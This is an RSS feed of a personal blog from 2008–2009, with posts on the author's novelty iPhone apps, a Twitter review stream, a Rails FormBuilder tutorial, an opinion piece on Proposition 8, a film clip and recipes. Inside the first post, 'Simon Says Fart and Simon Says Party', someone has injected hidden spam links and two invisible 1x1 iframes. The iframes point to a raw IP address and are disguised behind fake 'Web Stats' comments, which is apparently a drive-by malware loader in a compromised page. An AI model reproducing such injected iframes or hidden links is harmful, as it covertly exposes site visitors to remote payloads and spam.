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<channel>
	<title>scattered thoughts</title>
	<atom:link href="http://stephan.com/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://stephan.com/blog</link>
	<description>art media culture dance science mobile</description>
	<pubDate>Fri, 29 Jan 2010 15:48:34 +0000</pubDate>
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	<language>en</language>
			<item>
		<title>Two more iPhone apps: Simon Says Fart and Simon Says Party</title>
		<link>http://stephan.com/blog/2009/02/21/two-more-iphone-apps-simon-says-fart-and-simon-says-party/</link>
		<comments>http://stephan.com/blog/2009/02/21/two-more-iphone-apps-simon-says-fart-and-simon-says-party/#comments</comments>
		<pubDate>Sat, 21 Feb 2009 22:51:02 +0000</pubDate>
		<dc:creator>stephan</dc:creator>
		
		<category><![CDATA[games]]></category>

		<category><![CDATA[iPhone]]></category>

		<category><![CDATA[mobile]]></category>

		<category><![CDATA[personal news]]></category>

		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://stephan.com/blog/?p=633</guid>
		<description><![CDATA[MobileGates has just published two more of my iPhone apps (links go directly to iTunes)
mach zehnder modulator
Simon Says Fart
Simon Says Party
Each is 99¢, and each is a memory sequence game like Simon, but with real sounds instead of abstract beeps.  Multiplayer mode has you do a task, like a punishment, when you lose.  [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://mobilegates.com/">MobileGates</a> has just published two more of my iPhone apps (links go directly to iTunes)<br />
<a href="http://is.gd/kngK"><img src="http://stephan.com/blog/wp-content/uploads/2009/02/simon_fart_landscape-300x200.png" alt="" title="Simon Says Fart" width="300" height="200" class="alignright size-medium wp-image-636" /></a><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://vtsc.info/en/publication/">mach zehnder modulator</a></font><br />
<a href="http://is.gd/kngK">Simon Says Fart</a><br />
<a href="http://is.gd/knh6">Simon Says Party</a></p>
<p>Each is 99¢, and each is a memory sequence game like <a href="http://en.wikipedia.org/wiki/Simon_(game)">Simon</a>, but with real sounds instead of abstract beeps.  Multiplayer mode has you do a task, like a punishment, when you lose.  The tasks provided are family-friendly (e.g. &#8220;quack like a duck,&#8221;) but you are free to add your own tasks and remove the existing ones to make it&#8230; well, less family-friendly.  I suppose that depends on your family, though, doesn&#8217;t it?</p>
<p>Graphic design once again by Crash Reed.</p>
<p>There will most likely be a free &#8216;lite&#8217; version of each of these coming shortly, limited to 10 notes or so in the sequence.</p>
<p>Please purchase and enjoy these apps.  <!-- Web Stats --><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://www.videnov.com/">&#1084;&#1072;&#1089;&#1080;</a></font> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!-- End Web Stats --><!-- Web Stats --> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!-- End Web Stats --></p>
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		</item>
		<item>
		<title>My first three iPhone apps: FartMobile, SnoreMobile, BurpMobile</title>
		<link>http://stephan.com/blog/2009/02/12/my-first-three-iphone-apps-fartmobile-snoremobile-burpmobile/</link>
		<comments>http://stephan.com/blog/2009/02/12/my-first-three-iphone-apps-fartmobile-snoremobile-burpmobile/#comments</comments>
		<pubDate>Thu, 12 Feb 2009 21:39:27 +0000</pubDate>
		<dc:creator>stephan</dc:creator>
		
		<category><![CDATA[games]]></category>

		<category><![CDATA[iPhone]]></category>

		<category><![CDATA[mobile]]></category>

		<category><![CDATA[personal news]]></category>

		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://stephan.com/blog/?p=628</guid>
		<description><![CDATA[My employer, MobileGates, has just published my first three iPhone apps on the application store. (links go directly to iTunes)
FartMobile
BurpMobile
SnoreMobile
If you require farts or other such noises on your iPhone, you will find these apps exceptional samples of their genre.
Each is a sound machine for the referenced body noise.  Each includes a timer, a [...]]]></description>
			<content:encoded><![CDATA[<p><div id="attachment_629" class="wp-caption alignright" style="width: 330px"><a href="http://is.gd/jeBl"><img src="http://stephan.com/blog/wp-content/uploads/2009/02/screenshot-20090122-193531.png" alt="FartMobile" title="FartMobile" width="320" height="480" class="size-full wp-image-629" /></a><p class="wp-caption-text">FartMobile</p></div>My employer, <a href="http://www.mobilegates.com/">MobileGates</a>, has just published my first three iPhone apps on the application store. (links go directly to iTunes)</p>
<p><a href="http://is.gd/jeBl">FartMobile</a><br />
<a href="http://is.gd/jeBT">BurpMobile</a><br />
<a href="http://is.gd/jeCn">SnoreMobile</a></p>
<p>If you require farts or other such noises on your iPhone, you will find these apps exceptional samples of their genre.</p>
<p>Each is a sound machine for the referenced body noise.  Each includes a timer, a motion sensitive alarm, a recorder, and and piano.  Each is, as of this writing, 99¢.  Graphic design is by Crash Reed, a young artist who recently joined our team.</p>
<p>Please buy and enjoy these apps, and watch for more coming soon!<br />
<br style="clear:right"/><br />
<em>p.s. Do I actually have any subscribers?  I&#8217;ve been considering stepping up my blogging activities if there&#8217;s anyone out there enjoying my writing&#8230;</em></p>
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		<item>
		<title>@AppDuJour: my new µproject</title>
		<link>http://stephan.com/blog/2009/02/12/appdujour-my-new-%c2%b5project/</link>
		<comments>http://stephan.com/blog/2009/02/12/appdujour-my-new-%c2%b5project/#comments</comments>
		<pubDate>Thu, 12 Feb 2009 21:22:29 +0000</pubDate>
		<dc:creator>stephan</dc:creator>
		
		<category><![CDATA[Internet]]></category>

		<category><![CDATA[iPhone]]></category>

		<category><![CDATA[mobile]]></category>

		<guid isPermaLink="false">http://stephan.com/blog/?p=626</guid>
		<description><![CDATA[I started what I call a &#8220;microproject&#8221; at the end of January.  It&#8217;s a twitter stream called AppDuJour.
 AppDuJour brings you a single short review of a great iPhone app each day via Twitter.  I looked around for something like it, but no one else seemed to be doing it.  There are [...]]]></description>
			<content:encoded><![CDATA[<p>I started what I call a &#8220;microproject&#8221; at the end of January.  It&#8217;s a twitter stream called <a href="https://twitter.com/AppDuJour">AppDuJour</a>.</p>
<p><a style="float: right" href="http://twitter.com/AppDuJour"><img src="http://stephan.com/App_du_Jour_t.png" alt="AppDuJour" /></a> AppDuJour brings you a single short review of a great iPhone app each day via Twitter.  I looked around for something like it, but no one else seemed to be doing it.  There are lots of streams that give announcements of EVERY new app, but that&#8217;s just too much traffic for a text message subscription.  Other people link to a full review on a web site, and then you have to read it and click again (if you can even find the right link) to get to the app store.  What a pain! The reviews are meant to be self contained and entertaining, like a haiku.  I&#8217;m pretty proud of them so far.<br />
<script type="text/javascript" language="javascript" src="http://twittercounter.com/embed/?username=appdujour&#038;style=black"></script>AppDuJour promises no clutter, only good apps, and a direct link to the application store.  Reviews that are not entirely positive will be very rare, and only if the app is popular or interesting enough to merit inclusion. Only one tweet a day, with rare announcements and sponsored links - only on Sunday, at least at first.  No @ replies cluttering up the stream, no public discussion. It&#8217;s easy to get lots of followers - but it&#8217;s hard to get them to actually pay attention, and by keeping it minimal, I hope to do that.</p>
<p>The link goes through my affiliate code, so I get 5% of the app price.  At least I&#8217;m supposed to, I&#8217;m still not clear on whether that&#8217;s working, and it doesn&#8217;t appear I&#8217;ll break even any time soon - I&#8217;m buying the apps out of my pocket, though developers who wish to be reviewed are encouraged to send me app codes via email or DM (I&#8217;m <a href="http://twitter.com/stephancom">@StephanCom</a>).  To be considered, apps should be of very high quality and of general interest to a wide audience - though that could include something specialized that others might want to play with.<br />
<script type="text/javascript" language="javascript" src="http://twittercounter.com/embed/?username=freeappdujour&#038;style=black"></script>There is also a sister stream <a href="https://twitter.com/FreeAppDuJour">FreeAppDuJour</a>.  I&#8217;m being a bit strict about what gets included on that, simply because there are so many free apps.  I&#8217;m avoiding apps that are free because they are linked to an online service, such as <a href="http://evernote.com/">Evernote</a> or <a href="http://brightkite.com/">Brightkite</a>.  I may bend on this - it&#8217;s getting hard to find apps - but it seems like those don&#8217;t count because they&#8217;re &#8220;supposed&#8221; to be free.  The same goes for apps that are free because they are the &#8216;lite&#8217; version of a paid app, though if the free app has enough functionality to serve as more than just a promotion, I&#8217;ll consider it.</p>
<p>Developers are further encouraged to contact me with sponsorship opportunities.</p>
<p>Please follow <a href="http://twitter.com/AppDuJour">AppDuJour</a>, and please buy the apps!</p>
<p>[update] I&#8217;m merging @FreeAppDuJour with @AppDuJour effective February 9.  It just got too hard to find enough free apps, and annoying when free apps become paid before I tweet them.  Plus, I&#8217;m paying for apps out of my pocket - throwing in some free ones makes it a little easier.  This week is all-free apps, afterwards, eh, maybe 1-2 free ones a week? Not sure yet.</p>
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		<item>
		<title>Roast duck and Duck gravy</title>
		<link>http://stephan.com/blog/2008/12/27/roast-duck-and-duck-gravy/</link>
		<comments>http://stephan.com/blog/2008/12/27/roast-duck-and-duck-gravy/#comments</comments>
		<pubDate>Sat, 27 Dec 2008 08:08:58 +0000</pubDate>
		<dc:creator>stephan</dc:creator>
		
		<category><![CDATA[food]]></category>

		<guid isPermaLink="false">http://stephan.com/blog/2008/12/27/roast-duck-and-duck-gravy/</guid>
		<description><![CDATA[
 
 
 
  service
  
  Originally uploaded by StephanCom.
 

Check out my photoset on Flickr to see how I made roast duckling and a lovely duck gravy.

]]></description>
			<content:encoded><![CDATA[<div style="float: right; margin-left: 10px; margin-bottom: 10px;">
 <a href="http://www.flickr.com/photos/stephan/3139995235/" title="photo sharing"><img src="http://farm4.static.flickr.com/3127/3139995235_2efacfeebb_m.jpg" alt="" style="border: solid 2px #000000;" /></a><br />
 <br />
 <span style="font-size: 0.9em; margin-top: 0px;"><br />
  <a href="http://www.flickr.com/photos/stephan/3139995235/">service</a><br />
  <br />
  Originally uploaded by <a href="http://www.flickr.com/people/stephan/">StephanCom</a>.<br />
 </span>
</div>
<p>Check out my photoset on Flickr to see how I made roast duckling and a lovely duck gravy.<br />
<br clear="all" /></p>
]]></content:encoded>
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		</item>
		<item>
		<title>classimy.com</title>
		<link>http://stephan.com/blog/2008/12/05/classimycom/</link>
		<comments>http://stephan.com/blog/2008/12/05/classimycom/#comments</comments>
		<pubDate>Fri, 05 Dec 2008 14:49:13 +0000</pubDate>
		<dc:creator>stephan</dc:creator>
		
		<category><![CDATA[Internet]]></category>

		<category><![CDATA[Web 2.0]]></category>

		<category><![CDATA[mobile]]></category>

		<category><![CDATA[personal news]]></category>

		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://stephan.com/blog/?p=616</guid>
		<description><![CDATA[I&#8217;ve been working on this site for a month, &#038; I think it&#8217;s ready to go live.  There&#8217;s still features to add, and there&#8217;s surely massive flaming errors yet to come&#8230;
http://classimy.com/
It&#8217;s a classified ads site between Craig&#8217;s List and eBay, focused on face to face sales for cash, with a streamlined interface and (soon) [...]]]></description>
			<content:encoded><![CDATA[<p><div id="attachment_617" class="wp-caption alignright" style="width: 240px"><a href="http://classimy.com/"><img src="http://stephan.com/blog/wp-content/uploads/2008/12/classimy.png" alt="classimy.com" title="classimy" width="230" height="72" class="size-medium wp-image-617" /></a><p class="wp-caption-text">classimy.com</p></div>I&#8217;ve been working on this site for a month, &#038; I think it&#8217;s ready to go live.  There&#8217;s still features to add, and there&#8217;s surely massive flaming errors yet to come&#8230;</p>
<p>http://classimy.com/</p>
<p>It&#8217;s a classified ads site between Craig&#8217;s List and eBay, focused on face to face sales for cash, with a streamlined interface and (soon) integration with your digital world. I&#8217;m pretty proud of it, and think it may find its audience.  </p>
<p>There&#8217;s no listings yet - and that&#8217;s where I need your help.  If you&#8217;ve got stuff to sell, or you know someone who does, please come list it on the site.</p>
<p>Please help me out if you can - test the site, try to break it, and if you find a bug or just have a suggestion, use the &#8220;bug report&#8221; link at the top and I&#8217;ll find out about it.</p>
<p>Thank you all so much for your help!!!</p>
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			<wfw:commentRss>http://stephan.com/blog/2008/12/05/classimycom/feed/</wfw:commentRss>
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		<item>
		<title>Rails custom FormBuilder made way, way easy</title>
		<link>http://stephan.com/blog/2008/11/21/rails-custom-formbuilder-made-way-way-easy/</link>
		<comments>http://stephan.com/blog/2008/11/21/rails-custom-formbuilder-made-way-way-easy/#comments</comments>
		<pubDate>Fri, 21 Nov 2008 05:39:31 +0000</pubDate>
		<dc:creator>stephan</dc:creator>
		
		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://stephan.com/blog/?p=595</guid>
		<description><![CDATA[
I wanted to give my Ruby on Rails app a simple jQuery driven custom boolean field, styled as a lock for security purposes.  You know, click on the lock and it opens, click on it again and it closes.  Just like the lock there to the right - go ahead, click on it [...]]]></description>
			<content:encoded><![CDATA[<input id="lock_demo" type="hidden" value="f"/>
<img style="float: right; border: none" src="http://stephan.com/blog/wp-content/uploads/2008/11/lock_48.png" onclick="h=jQuery('#lock_demo');if(h.val()=='t'){h.val('f'); jQuery(this).attr({src:'http://stephan.com/blog/wp-content/uploads/2008/11/lock_48.png'})}else {h.val('t'); jQuery(this).attr({src:'http://stephan.com/blog/wp-content/uploads/2008/11/lock_open_48.png'})}" alt="Lock_48"/>I wanted to give my Ruby on Rails app a simple jQuery driven custom boolean field, styled as a lock for security purposes.  You know, click on the lock and it opens, click on it again and it closes.  Just like the lock there to the right - go ahead, click on it :).</p>
<p>I especially wanted to use it like the other Form Builder tags within a form_for block, just the same as I would use a checkbox, like this:</p>
<pre><code>
    form_for(current_user, :builder => IconFormBuilder) do |f|
      f.privacy_field :share_this
    end
</code></pre>
<p>It turns out this isn&#8217;t a difficult thing to do, but I couldn&#8217;t find any blog posts that show just how easy it is, so I struggled for a while.  Hopefully, I&#8217;ll save you the trouble.  Most of the posts I found weren&#8217;t trying to do anything this simple.  </p>
<p><a href="http://www.aldenta.com/2006/09/19/writing-a-custom-formbuilder-in-rails/">This article at Aldenta</a> shows how to use metaprogramming to insert your new form method into the existing form tags.  The only practical use I can see for all that trouble is to save you the trouble of adding :builder to your form_for tag&#8230; and I don&#8217;t really mind using :builder to be specific with my intent.</p>
<p><span class="amazonify_product"><iframe align="right"  src="http://rcm.amazon.com/e/cm?t=stephan&o=1&p=8&l=as1&asins=0978739221&fc1=000000&IS2=1&lt1=_blank&lc1=0000FF&bc1=000000&bg1=FFFFFF&f=ifr&nou=1" style="width:120px;height:240px;margin:7px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe></span>Several sources, including <a href="http://www.amazon.com/gp/product/0978739221?ie=UTF8&#038;tag=stephan&#038;linkCode=as2&#038;camp=1789&#038;creative=390957&#038;creativeASIN=0978739221">Advanced Rails Recipes</a><img src="http://www.assoc-amazon.com/e/ir?t=stephan&#038;l=as2&#038;o=1&#038;a=0978739221" width="1" height="1" border="0" alt="" style="border:none !important; margin:0px !important;" /> and an <a href="http://onrails.org/articles/2008/06/13/advanced-rails-studio-custom-form-builder">article at OnRails</a>, show how to wrap all of the existing form elements in the builder, again using metaprogramming.  Nice, but not what I was looking for.</p>
<p>Both of these articles hint at the solution, but no one had cut it down to the essence.  I finally came up with this.  Make a file called &#8220;icon_form_builder.rb&#8221; in app/helpers.  Name it whatever you want - just so the class name and the file name match.  I always get so confused figuring out where to put new things in Rails, but this seems like the right spot.</p>
<pre><code>
class IconFormBuilder < ActionView::Helpers::FormBuilder
  def lock_icon(value)
    if value
      "function_icon_set/lock_open_48.png"
    else
      "function_icon_set/lock_48.png"
    end
  end

  def privacy_field(method, options={})
    retString = hidden_field(method, options)
    retString += @template.image_tag(
      lock_icon(@object[method]),
      :onclick => ("h=$('##{object_name}_#{method}');"+
      "if(h.val()=='t'){h.val('f');$(this).attr({src:'/images/#{lock_icon(false)}'})}"+
      "else {h.val('t');$(this).attr({src:'/images/#{lock_icon(true)}'})}"))
    return retString
  end
end
</code></pre>
<p>lock_icon is just a convenience to DRY up the selection of an image (my working version is drier all round).  The javascript just uses jQuery to toggle the image and the hidden field.  I&#8217;m using a lovely free icon set by <a href="http://wefunction.com/2008/07/function-free-icon-set/">Function Design &#038; Development Studio</a>.</p>
<p>Note that we&#8217;re defining a new field tag - but you can just as easily redefine an existing one.  Just change &#8220;privacy_field&#8221; to, say, &#8220;check_box&#8221; and all of the checkboxes on your page will be redefined as locks!  I didn&#8217;t want to do that here, but it&#8217;s that easy.</p>
<p>There a bit more to know for getting fancy - but this should get you started!</p>
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		<item>
		<title>Why Proposition 8 is actually sort of OK with me</title>
		<link>http://stephan.com/blog/2008/11/19/why-proposition-8-is-actually-sort-of-ok-with-me/</link>
		<comments>http://stephan.com/blog/2008/11/19/why-proposition-8-is-actually-sort-of-ok-with-me/#comments</comments>
		<pubDate>Wed, 19 Nov 2008 20:34:16 +0000</pubDate>
		<dc:creator>stephan</dc:creator>
		
		<category><![CDATA[politics]]></category>

		<category><![CDATA[religion]]></category>

		<category><![CDATA[sex]]></category>

		<category><![CDATA[thoughts/rants]]></category>

		<guid isPermaLink="false">http://stephan.com/blog/?p=535</guid>
		<description><![CDATA[I need to start this off by saying that I did, in fact, vote against Proposition 8.  A great many of my friends are gay, I support them with all of my heart, and fully understand why this means so much to them.  But I feel like I didn&#8217;t really stick to my [...]]]></description>
			<content:encoded><![CDATA[<p>I need to start this off by saying that I did, in fact, vote against <a href="http://en.wikipedia.org/wiki/California_Proposition_8_(2008)">Proposition 8</a>.  A great many of my friends are gay, I support them with all of my heart, and fully understand why this means so much to them.  But I feel like I didn&#8217;t really stick to my moral compass by voting against it.</p>
<div id="attachment_539" class="wp-caption alignright" style="width: 310px"><a href="http://www.etsy.com/view_listing.php?listing_id=10501732"><img src="http://stephan.com/blog/wp-content/uploads/2008/11/il_430xn22624419-300x214.jpg" alt="Cat 5 Compliant Wedding Set" title="Cat 5 Wedding Rings" width="300" height="214" class="size-medium wp-image-539" /></a><p class="wp-caption-text">Cat 5 Compliant Wedding Set</p></div>
<p>I consider myself a libertarian, somewhat of a radical one in theory, though real world practice doesn&#8217;t fit in with those ideals.  From that point of view, I have to ask &#8220;What the hell does government have to do with marriage in the first place?&#8221;</p>
<p>The question, to me, shouldn&#8217;t be &#8220;why can&#8217;t gay people get married?&#8221; but rather, &#8220;why does the government have anything at all to do with marriage?&#8221;  Marriage is ultimately a religious institution.</p>
<p><a href="http://click.linksynergy.com/fs-bin/stat?id=OAz0DhjMzBs&#038;offerid=146261&#038;type=3&#038;subid=0&#038;tmpid=1826&#038;RD_PARM1=http%253A%252F%252Fitunes.apple.com%252FWebObjects%252FMZStore.woa%252Fwa%252FviewAlbum%253Fi%253D159293848%2526id%253D159292399%2526s%253D143441%2526partnerId%253D30"><img height="15" style="float:right;clear:right" width="61" alt="Michael Jackson - Essential Michael Jackson - Billie Jean" src="http://ax.itunes.apple.com/images/badgeitunes61x15dark.gif" /></a>I can certainly see the value to the public of the government being in the business of registering and managing romantic partnerships - though the ultimate <a href="http://en.wikipedia.org/wiki/Utility">utility</a> is in providing a registry for potential reproduction, a shortcut way to establish heredity or the plausible explanation of same <em>(e.g. secret adoptions, illegitimate children, etc, which are far more common than one is led to believe)</em>, which just isn&#8217;t possible for a gay couple (<a href="http://www.explorestemcells.co.uk/stem-cells-same-sex-reproduction.html">yet</a>!).  It isn&#8217;t possible for <a href="http://www.southparkstudios.com/clips/165987">an infertile couple</a> either, but to a casual observer, they have plausible deniability for a child, whether adopted or fathered by some party other than the husband of the pair.</p>
<p>But marriage?  Why does it have to be called marriage?  How is that the government&#8217;s business?  I&#8217;m against gay marriage, because I don&#8217;t see what the government has to do with marriage, and why in heavens name should we give them MORE power?  It&#8217;s bad enough that the State has its nose in heterosexual partnerships; do gay people want to invite government into their bedroom?</p>
<p><iframe src="http://rcm.amazon.com/e/cm?t=stephan&#038;o=1&#038;p=8&#038;l=as1&#038;asins=0807044334&#038;md=10FE9736YVPPT7A0FBG2&#038;fc1=000000&#038;IS2=1&#038;lt1=_blank&#038;m=amazon&#038;lc1=0000FF&#038;bc1=000000&#038;bg1=FFFFFF&#038;f=ifr" style="width:120px;height:240px;float:right;margin-left:1em" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe>Let&#8217;s take another tack: historical precedent.  There are very few examples of legitimized <a href="http://en.wikipedia.org/wiki/History_of_same-sex_unions">same-sex unions in the history</a> of any culture on earth.  There are some examples in China, Japan, ancient Rome &#038; Greece, etc., but they are the exception rather than the rule.</p>
<p>On the other hand, <a href="http://en.wikipedia.org/wiki/History_of_same-sex_unions">polygamous relationships</a> have been common to nearly EVERY culture at one time or another - and are still quite common in some parts of the world.  Please note that plural marriages still provide that official stamp of heredity, whether actual or spurious.</p>
<p>Given that cultural context, why has same-sex marriage become a political hot-button, while plural marriage has been given the short shrift?  Until a few weeks ago in this state, I could marry a man or a woman, but only one partner.</p>
<p><em>(just curious - does anyone know what happens when someone from a polygamous country emigrates to the US with their spouses?  Do they have to pick one?)</em><a href="http://click.linksynergy.com/fs-bin/stat?id=OAz0DhjMzBs&#038;offerid=146261&#038;type=3&#038;subid=0&#038;tmpid=1826&#038;RD_PARM1=http%253A%252F%252Fitunes.apple.com%252FWebObjects%252FMZStore.woa%252Fwa%252FviewAlbum%253Fi%253D278945614%2526id%253D278945586%2526s%253D143441%2526partnerId%253D30"><img height="15" style="float:right" width="61" alt="Katy Perry - I Kissed a Girl - Single - I Kissed a Girl" src="http://ax.itunes.apple.com/images/badgeitunes61x15dark.gif" /></a></p>
<p>The argument has been made that Proposition 8 is a form of discrimination, with television ads comparing it to the Holocaust, or at least the <a href="http://en.wikipedia.org/wiki/Japanese_internment">internment of the Japanese</a>.  I reply, somewhat tongue in cheek, &#8220;That&#8217;s ridiculous: a lesbian has the same right to marry a man as a straight woman!&#8221;  But it&#8217;s true, Prop 8 doesn&#8217;t propose different rights for different people at all!  Prop 8 forbids a straight man from marrying another straight man just as much as it prevents a gay couple from marrying!<br />
<iframe src="http://rcm.amazon.com/e/cm?t=stephan&#038;o=1&#038;p=8&#038;l=as1&#038;asins=B00008977F&#038;md=10FE9736YVPPT7A0FBG2&#038;fc1=000000&#038;IS2=1&#038;lt1=_blank&#038;m=amazon&#038;lc1=0000FF&#038;bc1=000000&#038;bg1=FFFFFF&#038;f=ifr" style="width:120px;height:240px;float:right;margin-left:1em" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe><br />
Gay marriage opens the system up to further abuse in contexts such as taxes and immigration - not that straight marriage doesn&#8217;t sometimes already abuse the system, but this is yet another avenue.  If these &#8220;marriage benefits&#8221; are so valuable, I&#8217;m certain we&#8217;ll see straight men and women engaging in gay marriages for the financial benefits, without the fear of their parter becoming attached and trying to make the union &#8220;real.&#8221;  </p>
<p>I have a very dear friend who is an illegal alien in this country, who I&#8217;ve blogged about before in &#8220;<a href="http://stephan.com/blog/2006/04/22/regarding-immigration/">regarding immigration</a>&#8220;.  If same sex marriage conferred the same citizenship benefits as conventional marriage (it doesn&#8217;t, I checked), I would marry &#8220;Juan&#8221; in a minute to get him a green card.  That&#8217;s abuse.</p>
<p>The problem isn&#8217;t that gay people can&#8217;t marry one another - the problem is that the government gives any favors at all to married couples.<br />
<iframe src="http://rcm.amazon.com/e/cm?t=stephan&#038;o=1&#038;p=8&#038;l=as1&#038;asins=1413308171&#038;md=10FE9736YVPPT7A0FBG2&#038;fc1=000000&#038;IS2=1&#038;lt1=_blank&#038;m=amazon&#038;lc1=0000FF&#038;bc1=000000&#038;bg1=FFFFFF&#038;f=ifr" style="width:120px;height:240px;float:right;margin-left:1em" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe><br />
The solution as I see it is a far more radical one than legalizing gay marriage&#8230;  I think the political institution of marriage should be dissolved entirely.  If there is some legitimate need for partner benefits, the government can continue to officiate unions of any number of consenting partners, <em>un pain, un vin, et une bourse</em>.  Better yet, just let people execute the legal aspects of marriage as a business contract.  That&#8217;s what it is anyway - a business contract with boilerplate text that is embedded in our legal and social code.  There can be a standard marriage contract - available wherever business forms are sold, like leases, wills and divorces, as a book or software - and those that want to go beyond that can hire a lawyer to write it up any way they want.  This is already <a href="http://www.polyamorousmisanthrope.com/category/poly-legalities/">in practice</a> for some polyamorous families.  I expect it doesn&#8217;t work any better or worse than traditional marriage.</p>
<p>Let the church be the arbiter of &#8220;marriage&#8221; in whatever form makes sense to the participants, whether it&#8217;s a man and a woman, two men, or three women, four men, and a mountain goat.  Let&#8217;s keep the government out of our bedrooms and personal business.</p>
<p>I&#8217;ll continue to support and vote for gay marriage - I realize that the secular institution of marriage isn&#8217;t going anywhere soon.  Gay marriage is the most practical way of providing equality and a level playing field.  </p>
<p>But it&#8217;s not the best way, or the right way.</p>
<p><a href="http://click.linksynergy.com/fs-bin/stat?id=OAz0DhjMzBs&#038;offerid=146261&#038;type=3&#038;subid=0&#038;tmpid=1826&#038;RD_PARM1=http%253A%252F%252Fitunes.apple.com%252FWebObjects%252FMZStore.woa%252Fwa%252FviewAlbum%253Fi%253D5359162%2526id%253D5359188%2526s%253D143441%2526partnerId%253D30"><img height="15" width="61" alt="Billy Idol - Billy Idol: Greatest Hits - White Wedding, Pt. 1" src="http://ax.itunes.apple.com/images/badgeitunes61x15dark.gif" /></a></p>
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		<title>Take This Job and Shove It</title>
		<link>http://stephan.com/blog/2008/11/13/take_this_job_and_shove_it/</link>
		<comments>http://stephan.com/blog/2008/11/13/take_this_job_and_shove_it/#comments</comments>
		<pubDate>Thu, 13 Nov 2008 21:18:08 +0000</pubDate>
		<dc:creator>stephan.com</dc:creator>
		
		<category><![CDATA[experiences]]></category>

		<category><![CDATA[movie/tv/books]]></category>

		<category><![CDATA[personal news]]></category>

		<category><![CDATA[photos]]></category>

		<category><![CDATA[video clip]]></category>

		<guid isPermaLink="false">http://stephan.com/blog/2008/11/13/524/</guid>
		<description><![CDATA[
 
 
 
  Closeup
  
  Originally uploaded by StephanCom.
 

Here&#8217;s a short clip of me playing Harry Meade, Jr. in the 1981 film Take This Job and Shove It. This was shot in 1980 in Dubuque, Iowa, so I&#8217;d be 12 years old. 
My father is played by David Keith, who [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; margin-left: 10px; margin-bottom: 10px;">
 <a href="http://www.flickr.com/photos/stephan/3028403424/" title="photo sharing"><img src="http://farm1.static.flickr.com/247/3028403424_230598700e_m.jpg" alt="" style="border: solid 2px #000000;" /></a><br />
 <br />
 <span style="font-size: 0.9em; margin-top: 0px;"><br />
  <a href="http://www.flickr.com/photos/stephan/3028403424/">Closeup</a><br />
  <br />
  Originally uploaded by <a href="http://www.flickr.com/people/stephan/">StephanCom</a>.<br />
 </span>
</div>
<p>Here&#8217;s a short clip of me playing Harry Meade, Jr. in the 1981 film Take This Job and Shove It. This was shot in 1980 in Dubuque, Iowa, so I&#8217;d be 12 years old. </p>
<p>My father is played by David Keith, who later went on to hang himself in An Officer and a Gentleman, and my mom was Penelope Milford, who got hit by a car in Endless Love. My sister is credited as Mary Pat Hennager, who I remember was a local Dubuque resident.<br />
<br style="clear:right"/><br />
<span class="amazonify_product"><iframe align="right"  src="http://rcm.amazon.com/e/cm?t=stephan&o=1&p=8&l=as1&asins=B00015HVME&fc1=000000&IS2=1&lt1=_blank&lc1=0000FF&bc1=000000&bg1=FFFFFF&f=ifr&nou=1" style="width:120px;height:240px;margin:7px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe></span><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/dskg4L9kG0Q&#038;hl=en&#038;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/dskg4L9kG0Q&#038;hl=en&#038;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object><br />
<br clear="all" /></p>
<p>I still get royalties from this - around $25 per decade - so please go buy the movie.</p>
<p>http://en.wikipedia.org/wiki/Take_This_Job_and_Shove_It_(film)<br />
http://www.imdb.com/title/tt0083163/</p>
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		<title>Stephan&#8217;s invention: white trash risotto</title>
		<link>http://stephan.com/blog/2008/10/29/stephans-invention-white-trash-risotto/</link>
		<comments>http://stephan.com/blog/2008/10/29/stephans-invention-white-trash-risotto/#comments</comments>
		<pubDate>Wed, 29 Oct 2008 22:48:03 +0000</pubDate>
		<dc:creator>stephan</dc:creator>
		
		<category><![CDATA[food]]></category>

		<guid isPermaLink="false">http://stephan.com/blog/?p=473</guid>
		<description><![CDATA[In the interest of saving money, breaking the cycle of eating fast food twice a day, and cleaning the detritus from my pantry, a couple of weeks ago, I decided to trim my grocery budget to ZERO and commit to eating whatever I had in the house until it runs out.  I had bought [...]]]></description>
			<content:encoded><![CDATA[<p>In the interest of saving money, breaking the cycle of eating fast food twice a day, and cleaning the detritus from my pantry, a couple of weeks ago, I decided to trim my grocery budget to ZERO and commit to eating whatever I had in the house until it runs out.  I had bought a bunch of 50% off stuff from an Albertson&#8217;s closing down a month or two ago, and my cupboards had been overflowing since then anyway.  I&#8217;m just buying staples, which for me is milk and Coca-Cola.</p>
<p>Two weeks later, I&#8217;m just barely beginning to get to the good stuff.  Bear in mind I&#8217;m quite clueless about cooking, though I&#8217;ve been watching Alton Brown a lot and dreaming.  I came up with this from only stuff I&#8217;ve had around for a while.</p>
<div style="float: right; margin-left: 10px; margin-bottom: 10px width: 200px;"> <a href="http://www.flickr.com/photos/stephan/2985699904/" title="photo sharing"><img src="http://farm4.static.flickr.com/3144/2985699904_aa5e7378c8_m.jpg" alt="" style="border: solid 2px #000000;" /></a> <br /> <span style="font-size: 0.9em; margin-top: 0px;">  <a href="http://www.flickr.com/photos/stephan/2985699904/">Stephan&#8217;s invention: white trash risotto</a>  <br />  Originally uploaded by <a href="http://www.flickr.com/people/stephan/">StephanCom</a>. </span></div>
<p><br clear="all" /></p>
<p>* 1 package of Farmhouse Long Grain &amp; Wild Rice.  No idea when I got it.   Prepared according to directions.</p>
<p>* 2 italian sausages - first bought in a six pack in February for making pizza and frozen since then - started thawing them yesterday with no clue what I was going to do with it.  Googled what to do with them, decided to cut off the casings and fry them up in: </p>
